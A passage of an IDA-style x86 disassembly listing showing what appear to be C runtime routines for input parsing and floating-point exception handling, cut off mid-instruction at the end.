sub_41DA80 loc_42150D: ; CODE XREF: sub_420D10+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_421513: ; CODE XREF: sub_420D10+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_42152B dec [ebp+var_C] jz short loc_42154F loc_42152B: ; CODE XREF: sub_420D10+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42176C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42146C ; --------------------------------------------------------------------------- loc_421541: ; CODE XREF: sub_420D10+788j ; sub_420D10+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421786 pop ecx pop ecx loc_42154F: ; CODE XREF: sub_420D10+756j ; sub_420D10+819j cmp [ebp+var_17], 0 jz loc_421635 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_421635 ; --------------------------------------------------------------------------- loc_421571: ; CODE XREF: sub_420D10+74Cj cmp [ebp+var_F], 0 jnz loc_42162D loc_42157B: ; CODE XREF: sub_420D10+90Aj cmp esi, 78h jz short loc_4215BF cmp esi, 70h jz short loc_4215BF cmp dword_43F1F4, 1 jle short loc_42159A push 4 push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_4215A5 ; --------------------------------------------------------------------------- loc_42159A: ; CODE XREF: sub_420D10+87Cj mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 4 loc_4215A5: ; CODE XREF: sub_420D10+888j test eax, eax jz short loc_42161F cmp esi, 6Fh jnz short loc_4215B8 cmp ebx, 38h jge short loc_42161F shl edi, 3 jmp short loc_4215F7 ; --------------------------------------------------------------------------- loc_4215B8: ; CODE XREF: sub_420D10+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_4215F7 ; --------------------------------------------------------------------------- loc_4215BF: ; CODE XREF: sub_420D10+86Ej ; sub_420D10+873j cmp dword_43F1F4, 1 jle short loc_4215D7 push 80h push ebx call sub_41FD15 pop ecx pop ecx jmp short loc_4215E4 ; --------------------------------------------------------------------------- loc_4215D7: ; CODE XREF: sub_420D10+8B6j mov eax, off_43EFE8 mov al, [eax+ebx*2] and eax, 80h loc_4215E4: ; CODE XREF: sub_420D10+8C5j test eax, eax jz short loc_42161F push ebx shl edi, 4 call sub_421735 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4215F7: ; CODE XREF: sub_420D10+8A6j ; sub_420D10+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_421609 dec [ebp+var_C] jz short loc_42162D loc_421609: ; CODE XREF: sub_420D10+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42176C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42157B ; --------------------------------------------------------------------------- loc_42161F: ; CODE XREF: sub_420D10+897j ; sub_420D10+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421786 pop ecx pop ecx loc_42162D: ; CODE XREF: sub_420D10+865j ; sub_420D10+8F7j cmp [ebp+var_17], 0 jz short loc_421635 neg edi loc_421635: ; CODE XREF: sub_420D10+843j ; sub_420D10+85Cj ... cmp esi, 46h jnz short loc_42163E and [ebp+var_1C], 0 loc_42163E: ; CODE XREF: sub_420D10+928j cmp [ebp+var_1C], 0 jz loc_421716 cmp [ebp+var_E], 0 jnz short loc_421677 inc [ebp+var_34] loc_421651: ; CODE XREF: sub_420D10+23Bj cmp [ebp+var_30], 0 jz short loc_421667 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421677 ; --------------------------------------------------------------------------- loc_421667: ; CODE XREF: sub_420D10+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421674 mov [eax], edi jmp short loc_421677 ; --------------------------------------------------------------------------- loc_421674: ; CODE XREF: sub_420D10+95Ej mov [eax], di loc_421677: ; CODE XREF: sub_420D10+241j ; sub_420D10+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_4216C4 ; --------------------------------------------------------------------------- loc_421682: ; CODE XREF: sub_420D10+93j inc [ebp+var_4] push edi call sub_42176C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_4216F1 mov ecx, off_43EFE8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_4216C4 inc [ebp+var_4] push edi call sub_42176C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_4216FF dec [ebp+var_4] loc_4216C4: ; CODE XREF: sub_420D10+970j ; sub_420D10+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4216DA cmp byte ptr [esi], 25h jnz short loc_42171C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_42171C mov esi, eax loc_4216DA: ; CODE XREF: sub_420D10+9B8j mov al, [esi] test al, al jnz loc_420D3A jmp short loc_421716 ; --------------------------------------------------------------------------- loc_4216E6: ; CODE XREF: sub_420D10+1F4j ; sub_420D10+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_4216F6 ; --------------------------------------------------------------------------- loc_4216F1: ; CODE XREF: sub_420D10+98Aj dec [ebp+var_4] push edi push ebx loc_4216F6: ; CODE XREF: sub_420D10+9DFj call sub_421786 pop ecx pop ecx jmp short loc_421716 ; --------------------------------------------------------------------------- loc_4216FF: ; CODE XREF: sub_420D10+9AFj dec [ebp+var_4] push edi push eax call sub_421786 dec [ebp+var_4] push edi push ebx call sub_421786 add esp, 10h loc_421716: ; CODE XREF: sub_420D10+1Fj ; sub_420D10+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42172D loc_42171C: ; CODE XREF: sub_420D10+9BDj ; sub_420D10+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_421730 cmp [ebp+var_15], al jnz short loc_421730 or eax, 0FFFFFFFFh jmp short loc_421730 ; --------------------------------------------------------------------------- loc_42172D: ; CODE XREF: sub_420D10+A0Aj mov eax, [ebp+var_34] loc_421730: ; CODE XREF: sub_420D10+A11j ; sub_420D10+A16j ... pop edi pop esi pop ebx leave retn sub_420D10 endp ; =============== S U B R O U T I N E ======================================= sub_421735 proc near ; CODE XREF: sub_420D10+7A3p ; sub_420D10+8DCp arg_0 = dword ptr 4 cmp dword_43F1F4, 1 push esi jle short loc_42174F mov esi, [esp+4+arg_0] push 4 push esi call sub_41FD15 pop ecx pop ecx jmp short loc_42175E ; --------------------------------------------------------------------------- loc_42174F: ; CODE XREF: sub_421735+8j mov esi, [esp+4+arg_0] mov eax, off_43EFE8 mov al, [eax+esi*2] and eax, 4 loc_42175E: ; CODE XREF: sub_421735+18j test eax, eax jnz short loc_421768 and esi, 0FFFFFFDFh sub esi, 7 loc_421768: ; CODE XREF: sub_421735+2Bj mov eax, esi pop esi retn sub_421735 endp ; =============== S U B R O U T I N E ======================================= sub_42176C proc near ; CODE XREF: sub_420D10+1E1p ; sub_420D10+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42177E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_42176C+7j push edx call sub_41F843 pop ecx retn sub_42176C endp ; =============== S U B R O U T I N E ======================================= sub_421786 proc near ; CODE XREF: sub_420D10+6Bp ; sub_420D10+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42179C push [esp+arg_4] push [esp+4+arg_0] call sub_4247DF pop ecx pop ecx locret_42179C: ; CODE XREF: sub_421786+5j retn sub_421786 endp ; =============== S U B R O U T I N E ======================================= sub_42179D proc near ; CODE XREF: sub_420D10+63p ; sub_420D10+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_4217A3: ; CODE XREF: sub_42179D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42176C mov edi, eax push edi call sub_41DE70 pop ecx test eax, eax pop ecx jnz short loc_4217A3 mov eax, edi pop edi pop esi retn sub_42179D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4217C1(int,int,double,int) sub_4217C1 proc near ; CODE XREF: sub_41CE49+51p ; sub_41CF8F+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43F960, 0 jnz short loc_4217F6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421D76 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_4217F6: ; CODE XREF: sub_4217C1+Aj push 0FFFFh mov dword_4DE02C, 21h push [ebp+arg_C] call sub_421FE9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_4217C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421814(int,int,double,double,int) sub_421814 proc near ; CODE XREF: sub_41CE49:loc_41CF0Cp ; sub_41CF8F:loc_41D052p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421B5F add esp, 0Ch test eax, eax jnz short loc_421852 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4218AC add esp, 18h loc_421852: ; CODE XREF: sub_421814+1Aj push [ebp+arg_0] call sub_421E49 cmp dword_43F960, 0 pop ecx jnz short loc_421890 test eax, eax jz short loc_421890 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421D76 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421890: ; CODE XREF: sub_421814+4Ej ; sub_421814+52j push eax call sub_421DFE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_421FE9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421814 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4218AC proc near ; CODE XREF: sub_421814+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4218DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4218DE: ; CODE XREF: sub_4218AC+23j test cl, 2 jz short loc_4218F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4218F1: ; CODE XREF: sub_4218AC+35j test cl, bl jz short loc_421903 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421903: ; CODE XREF: sub_4218AC+47j test cl, 4 jz short loc_421916 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421916: ; CODE XREF: sub_4218AC+5Aj test cl, 8 jz short loc_421929 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421929: ; CODE XREF: sub_4218AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_421FCC test al, bl jz short loc_4219B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4219B2: ; CODE XREF: sub_4218AC+FDj test al, 4 jz short loc_4219BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4219BD: ; CODE XREF: sub_4218AC+108j test al, 8 jz short loc_4219C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4219C8: ; CODE XREF: sub_4218AC+113j test al, 10h jz short loc_4219D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4219D2: ; CODE XREF: sub_4218AC+11Ej test al, 20h jz short loc_4219DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4219DC: ; CODE XREF: sub_4218AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421A1B cmp eax, 400h jz short loc_421A0D cmp eax, 800h jz short loc_421A01 cmp eax, ecx jnz short loc_421A21 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421A21 ; --------------------------------------------------------------------------- loc_421A01: ; CODE XREF: sub_4218AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421A17 ; --------------------------------------------------------------------------- loc_421A0D: ; CODE XREF: sub_4218AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421A17: ; CODE XREF: sub_4218AC+15Fj mov [eax], ecx jmp short loc_421A21 ; --------------------------------------------------------------------------- loc_421A1B: ; CODE XREF: sub_4218AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421A21: ; CODE XREF: sub_4218AC+14Bj ; sub_4218AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421A4C cmp eax, 200h jz short loc_421A3F cmp eax, ecx jnz short loc_421A59 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421A59 ; --------------------------------------------------------------------------- loc_421A3F: ; CODE XREF: sub_4218AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421A57 ; --------------------------------------------------------------------------- loc_421A4C: ; CODE XREF: sub_4218AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421A57: ; CODE XREF: sub_4218AC+19Ej mov [eax], ecx loc_421A59: ; CODE XREF: sub_4218AC+189j ; sub_4218AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_421FDA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_42805C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421AD3 and dword ptr [esi], 0FFFFFFFEh loc_421AD3: ; CODE XREF: sub_4218AC+222j test byte ptr [eax+8], 8 jz short loc_421ADC and dword ptr [esi], 0FFFFFFFBh loc_421ADC: ; CODE XREF: sub_4218AC+22Bj test byte ptr [eax+8], 4 jz short loc_421AE5 and dword ptr [esi], 0FFFFFFF7h loc_421AE5: ; CODE XREF: sub_4218AC+234j test byte ptr [eax+8], 2 jz short loc_421AEE and dword ptr [esi], 0FFFFFFEFh loc_421AEE: ; CODE XREF: sub_4218AC+23Dj test [eax+8], bl jz short loc_421AF6 and dword ptr [esi], 0FFFFFFDFh loc_421AF6: ; CODE XREF: sub_4218AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421B2A dec ecx jz short loc_421B1E dec ecx jz short loc_421B14 dec ecx jnz short loc_421B2C or byte ptr [esi+1], 0Ch jmp short loc_421B2C ; --------------------------------------------------------------------------- loc_421B14: ; CODE XREF: sub_4218AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421B26 ; --------------------------------------------------------------------------- loc_421B1E: ; CODE XREF: sub_4218AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421B26: ; CODE XREF: sub_4218AC+270j mov [esi], ecx jmp short loc_421B2C ; --------------------------------------------------------------------------- loc_421B2A: ; CODE XREF: sub_4218AC+257j and [esi], edx loc_421B2C: ; CODE XREF: sub_4218AC+260j ; sub_4218AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421B4C dec ecx jz short loc_421B43 dec ecx jnz short loc_421B55 and [esi], edx jmp short loc_421B55 ; --------------------------------------------------------------------------- loc_421B43: ; CODE XREF: sub_4218AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421B53 ; --------------------------------------------------------------------------- loc_421B4C: ; CODE XREF: sub_4218AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421B53: ; CODE XREF: sub_4218AC+29Ej mov [esi], ecx loc_421B55: ; CODE XREF: sub_4218AC+291j ; sub_4218AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4218AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B5F proc near ; CODE XREF: sub_421814+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421B8A test byte ptr [ebp+arg_8], bl jz short loc_421B8A push ebx call sub_42200C pop ecx and edi, 0FFFFFFF7h jmp loc_421D54 ; --------------------------------------------------------------------------- loc_421B8A: ; CODE XREF: sub_421B5F+15j ; sub_421B5F+1Aj test al, 4 jz short loc_421BA4 test byte ptr [ebp+arg_8], 4 jz short loc_421BA4 push 4 call sub_42200C pop ecx and edi, 0FFFFFFFBh jmp loc_421D54 ; --------------------------------------------------------------------------- loc_421BA4: ; CODE XREF: sub_421B5F+2Dj ; sub_421B5F+33j test al, bl jz loc_421C7E test byte ptr [ebp+arg_8], 8 jz loc_421C7E push 8 call sub_42200C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421C56 cmp ecx, 400h jz short loc_421C2E cmp ecx, 800h jz short loc_421C06 cmp ecx, eax jnz loc_421C76 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428888 fld dbl_43F560 fnstsw ax sahf ja short loc_421BFE fchs loc_421BFE: ; CODE XREF: sub_421B5F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421C74 ; --------------------------------------------------------------------------- loc_421C06: ; CODE XREF: sub_421B5F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428888 fnstsw ax sahf jbe short loc_421C1E fld dbl_43F550 jmp short loc_421C26 ; --------------------------------------------------------------------------- loc_421C1E: ; CODE XREF: sub_421B5F+B5j fld dbl_43F560 fchs loc_421C26: ; CODE XREF: sub_421B5F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421C74 ; --------------------------------------------------------------------------- loc_421C2E: ; CODE XREF: sub_421B5F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428888 fnstsw ax sahf jbe short loc_421C46 fld dbl_43F560 jmp short loc_421C4E ; --------------------------------------------------------------------------- loc_421C46: ; CODE XREF: sub_421B5F+DDj fld dbl_43F550 fchs loc_421C4E: ; CODE XREF: sub_421B5F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421C74 ; --------------------------------------------------------------------------- loc_421C56: ; CODE XREF: sub_421B5F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_428888 fld dbl_43F550 fnstsw ax sahf ja short loc_421C6E fchs loc_421C6E: ; CODE XREF: sub_421B5F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421C74: ; CODE XREF: sub_421B5F+A5j ; sub_421B5F+CDj ... fstp qword ptr [ecx] loc_421C76: ; CODE XREF: sub_421B5F+81j and edi, 0FFFFFFFEh jmp loc_421D54 ; --------------------------------------------------------------------------- loc_421C7E: ; CODE XREF: sub_421B5F+47j ; sub_421B5F+51j test al, 2 jz loc_421D54 test byte ptr [ebp+arg_8], 10h jz loc_421D54 push esi xor esi, esi test al, 10h jz short loc_421C99 mov esi, ebx loc_421C99: ; CODE XREF: sub_421B5F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_428888 fnstsw ax sahf jz loc_421D42 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421F0B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421CE4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421D38 ; --------------------------------------------------------------------------- loc_421CE4: ; CODE XREF: sub_421B5F+17Aj fld [ebp+var_C] fcomp dbl_428888 fnstsw ax sahf jnb short loc_421CF6 mov edx, ebx jmp short loc_421CF8 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421B5F+191j xor edx, edx loc_421CF8: ; CODE XREF: sub_421B5F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421D2C sub eax, ecx loc_421D0F: ; CODE XREF: sub_421B5F+1CBj test byte ptr [ebp+var_C], bl jz short loc_421D1A test esi, esi jnz short loc_421D1A mov esi, ebx loc_421D1A: ; CODE XREF: sub_421B5F+1B3j ; sub_421B5F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421D26 or byte ptr [ebp+var_C+3], 80h loc_421D26: ; CODE XREF: sub_421B5F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421D0F loc_421D2C: ; CODE XREF: sub_421B5F+1ACj test edx, edx jz short loc_421D38 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421D38: ; CODE XREF: sub_421B5F+183j ; sub_421B5F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421D44 ; --------------------------------------------------------------------------- loc_421D42: ; CODE XREF: sub_421B5F+14Ej mov esi, ebx loc_421D44: ; CODE XREF: sub_421B5F+1E1j test esi, esi pop esi jz short loc_421D51 push 10h call sub_42200C pop ecx loc_421D51: ; CODE XREF: sub_421B5F+1E8j and edi, 0FFFFFFFDh loc_421D54: ; CODE XREF: sub_421B5F+26j ; sub_421B5F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421D6B test byte ptr [ebp+arg_8], 20h jz short loc_421D6B push 20h call sub_42200C pop ecx and edi, 0FFFFFFEFh loc_421D6B: ; CODE XREF: sub_421B5F+1F9j ; sub_421B5F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421B5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421D76(int,int,int,int,int,int,double,int) sub_421D76 proc near ; CODE XREF: sub_4217C1+2Bp ; sub_421814+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421E24 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421DE1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_421FE9 lea eax, [ebp+var_20] push eax call sub_42484D add esp, 0Ch test eax, eax jnz short loc_421DDB push esi call sub_421DFE pop ecx loc_421DDB: ; CODE XREF: sub_421D76+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421DE1: ; CODE XREF: sub_421D76+14j push 0FFFFh push [ebp+arg_20] call sub_421FE9 push [ebp+arg_0] call sub_421DFE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421D76 endp ; =============== S U B R O U T I N E ======================================= sub_421DFE proc near ; CODE XREF: sub_421814+7Dp ; sub_421D76+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421E19 jle short locret_421E23 cmp eax, 3 jg short locret_421E23 mov dword_4DE02C, 22h retn ; --------------------------------------------------------------------------- loc_421E19: ; CODE XREF: sub_421DFE+7j mov dword_4DE02C, 21h locret_421E23: ; CODE XREF: sub_421DFE+9j ; sub_421DFE+Ej retn sub_421DFE endp ; =============== S U B R O U T I N E ======================================= sub_421E24 proc near ; CODE XREF: sub_421D76+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43F478 loc_421E2B: ; CODE XREF: sub_421E24+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421E41 add eax, 8 inc ecx cmp eax, offset dbl_43F550 jl short loc_421E2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421E41: ; CODE XREF: sub_421E24+Dj mov eax, off_43F47C[ecx*8] retn sub_421E24 endp ; =============== S U B R O U T I N E ======================================= sub_421E49 proc near ; CODE XREF: sub_421814+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421E55 push 5 jmp short loc_421E6B ; --------------------------------------------------------------------------- loc_421E55: ; CODE XREF: sub_421E49+6j test al, 8 jz short loc_421E5D push 1 jmp short loc_421E6B ; --------------------------------------------------------------------------- loc_421E5D: ; CODE XREF: sub_421E49+Ej test al, 4 jz short loc_421E65 push 2 jmp short loc_421E6B ; --------------------------------------------------------------------------- loc_421E65: ; CODE XREF: sub_421E49+16j test al, 1 jz short loc_421E6D push 3 loc_421E6B: ; CODE XREF: sub_421E49+Aj ; sub_421E49+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421E6D: ; CODE XREF: sub_421E49+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421E49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E76(double) sub_421E76 proc near ; CODE XREF: sub_41CE49:loc_41CECFp ; sub_41CF8F:loc_41D015p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421E76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E88(double,int) sub_421E88 proc near ; CODE XREF: sub_421F0B+82p ; sub_421F0B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov 